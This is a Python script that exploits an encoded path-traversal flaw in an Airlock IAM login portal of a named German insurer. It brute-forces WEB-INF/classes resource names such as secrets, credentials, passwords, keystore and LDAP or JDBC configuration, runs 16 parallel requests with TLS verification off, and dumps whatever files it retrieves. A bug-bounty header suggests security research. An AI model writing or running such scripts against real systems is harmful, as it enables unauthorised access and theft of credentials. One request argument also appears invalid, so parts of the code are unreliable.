from curl_cffi import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
import re, json, urllib.parse
base='https://mein-portal.baloise.de/auth/ui/assets/airlock/i18n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/WEB-INF/classes/'
headers={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache','Accept':'application/json'}
# Resource names extracted from Airlock jars plus common deployment/config names.
names=set()
for p in Path('work/source-derived/airlock-iam-8.6.1/decompiled').rglob('*.properties'):
    rel=str(p.relative_to('work/source-derived/airlock-iam-8.6.1/decompiled'))
    names.add(rel[:-11])
# Interesting common classpath property resources.
raw='''
application application-prod application-production application-default application-local
bootstrap config configuration settings environment env instance system server login loginapp auth authentication
airlock iam medusa sensitive-values sensitiveValues secrets secret credentials credential passwords password
database db datasource data-source jdbc jpa hibernate persistence redis cache hazelcast ldap ad active-directory
mail smtp email sms smpp oauth oauth2 oidc openid saml saml2 sso jwt jwks keystore truststore tls ssl crypto encryption
log4j log4j2 logging audit audit-logger security spring portal liferay jersey tomcat web
baloise baloise-saml baloise-saml2 saml-transform saml2-transform easylogin easy-login
venta portal_ao portal_mo portal_si sas_va antragsfreigabe bsi_crm
META-INF/build-info META-INF/git META-INF/maven/com.airlock.iam/login-app/pom
'''
for x in raw.split(): names.add(x)
# Package-shaped custom resource guesses.
for prefix in ['baloise','com/baloise','de/baloise','ch/baloise','com/balgroupit','de/balgroupit']:
  for x in ['application','config','configuration','saml','saml2','saml-transform','saml2-transform','secrets','credentials','ldap','oauth2','easylogin']:
    names.add(prefix+'/'+x)
# Variants.
more=set()
for n in list(names):
    more |= {n.replace('_','-'),n.replace('-','_')}
names |= more
# Exclude known harmless translations, retain logging control separately.
names={n.strip('/') for n in names if n and len(n)<180}

def one(n):
    url=base+urllib.parse.quote(n,safe='/_-')+'.json'
    try:
      r=requests.get(url,headers=headers,timeout=20,verify=False,toadex_capture=False)
      body=r.text.strip()
      if r.status_code!=200 or body not in ('{}',''):
        return n,r.status_code,len(r.content),r.headers.get('Last-Modified'),r.headers.get('ETag'),body[:5000]
    except Exception as e: return n,0,0,None,None,'ERR '+repr(e)

hits=[]
with ThreadPoolExecutor(max_workers=16) as ex:
  futs={ex.submit(one,n):n for n in sorted(names)}
  for fut in as_completed(futs):
    x=fut.result()
    if x: hits.append(x)
for x in sorted(hits):
 print('\t'.join('' if v is None else str(v).replace('\n','\\n') for v in x))
print('probed',len(names),'hits',len(hits))
